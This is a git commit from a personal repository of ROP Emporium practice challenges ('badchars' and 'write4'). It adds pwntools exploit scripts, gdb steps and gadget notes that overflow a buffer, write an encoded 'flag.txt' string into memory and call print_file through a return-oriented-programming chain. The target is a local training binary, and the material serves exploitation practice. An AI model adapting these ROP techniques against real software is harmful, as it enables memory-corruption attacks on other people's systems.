new file: x86_64/badchars/exploit.py

new file:   x86_64/badchars/exploit_dirty.py
	new file:   x86_64/badchars/usefullstuff
	deleted:    x86_64/write4/.exploit.py.swp
	deleted:    x86_64/write4/.useful_gadgets.swp
	modified:   x86_64/write4/exploit.py
This commit is contained in:
Brett Weiland 2020-12-16 21:33:39 -06:00
parent 3f0a1e64c7
commit 3f54969f58
9 changed files with 156 additions and 0 deletions

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break pwnme
run
stepi
return
nexti
stepi
q

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x86_64/badchars/core Normal file

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x86_64/badchars/exploit.py Executable file
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#!/usr/bin/env python3
from pwn import *
from time import sleep
def strfixandcopy(dest, string, badchars, payload):
badchar_locations = []
fixed_str = b''
for n,l in enumerate(string):
if l in badchars:
fixed_str += bytes([ord(string[n]) - 1])
badchar_locations.append(n)
else:
fixed_str += bytes([ord(string[n])])
payload += p64(0x000000000040069c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += fixed_str # r12
payload += p64(dest) # r13
payload += p64(1) # r14
payload += p64(1) # r15
payload += p64(0x0000000000400634) # moves fixed string
for badchar_location in badchar_locations:
payload += p64(0x00000000004006a0) # pop r14, r15
payload += p64(1)
payload += p64(dest + badchar_location)
payload += p64(0x000000000040062c) #does the adding
return(payload)
prog = process('./badchars')
payload = b''
for c in range(40):
payload += b'a'
payload = strfixandcopy(0x601be0, 'flag.txt', 'xga.', payload)
payload += p64(0x00000000004006a3)
payload += p64(0x601be0)
payload += p64(0x0000000000400510)
payload += b"\n"
prog.sendline(payload)
sleep(0.5)
print(str(prog.recv(), 'UTF-8'))
prog.close()

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#!/usr/bin/env python3
from pwn import *
from time import sleep
# gotta go FAST
# i'll make it clean when I'm not pressured for time
prog = process('./badchars')
payload = b''
for c in range(40):
payload += b'a'
payload += p64(0x000000000040069c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += b'fl`f-twt'
payload += p64(0x601be0)
payload += p64(1)
payload += p64(0x601be2)
payload += p64(0x0000000000400634) # just pops
payload += p64(0x000000000040062c) # add [r15], r14
payload += p64(0x00000000004006a0) # pops
payload += p64(1)
payload += p64(0x601be3)
payload += p64(0x000000000040062c) # add [r15], r14
payload += p64(0x00000000004006a0) # pops
payload += p64(1)
payload += p64(0x601be4)
payload += p64(0x000000000040062c) # add [r15], r14
payload += p64(0x00000000004006a0) # pops
payload += p64(1)
payload += p64(0x601be6)
payload += p64(0x000000000040062c) # add [r15], r14
payload += p64(0x00000000004006a3) # pops rdi
payload += p64(0x601be0)
payload += p64(0x0000000000400510)
payload += b"\n"
prog.sendline(payload)
sleep(0.5)
print(prog.recv())
prog.close()

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0000000000400628 <usefulGadgets>:
400628: 45 30 37 xor BYTE PTR [r15],r14b
40062c: 45 00 37 add BYTE PTR [r15],r14b
400630: 45 28 37 sub BYTE PTR [r15],r14b
400634: 4d 89 65 00 mov QWORD PTR [r13+0x0],r12
print_file@plt: 0000000000400510
0x00000000004006a0 : pop r14 ; pop r15 ; ret
1: 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret <-- to set registers
1:
r12: "flae-txt"
r13: 0x601be0
r14: 1
r15: 0x601be4
2: 0x0000000000400634 : mov qword ptr [r13], r12 ; ret
3: 0x000000000040062c : add [r15], r14
4: 0x00000000004006a0 : pop r14 ; pop r15 ; ret
r14: 1
r15: 0x601be5
5: 0x00000000004006a3 : pop rdi ; ret
rdi: 0x601be0
6: 0x0000000000400510 : print_file@plt
0x00000000004006a3 : pop rdi ; ret
.init_array: 0x601be0 [safe]
we cant use: 'x', 'g', 'a', '.'
['0x78', '0x67', '0x61', '0x2e']

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#!/usr/bin/env python3
from pwn import *
from time import sleep
prog = process('./write4')
payload = b''
@ -15,5 +16,6 @@ payload += p64(0x0000000000600df0 + 0x00000df0) # addr of init_array section
payload += p64(0x0000000000400510) # print_file@plt
payload += b"\n"
prog.sendline(payload)
sleep(0.5)
print(str(prog.recv(), 'UTF-8'))
prog.close()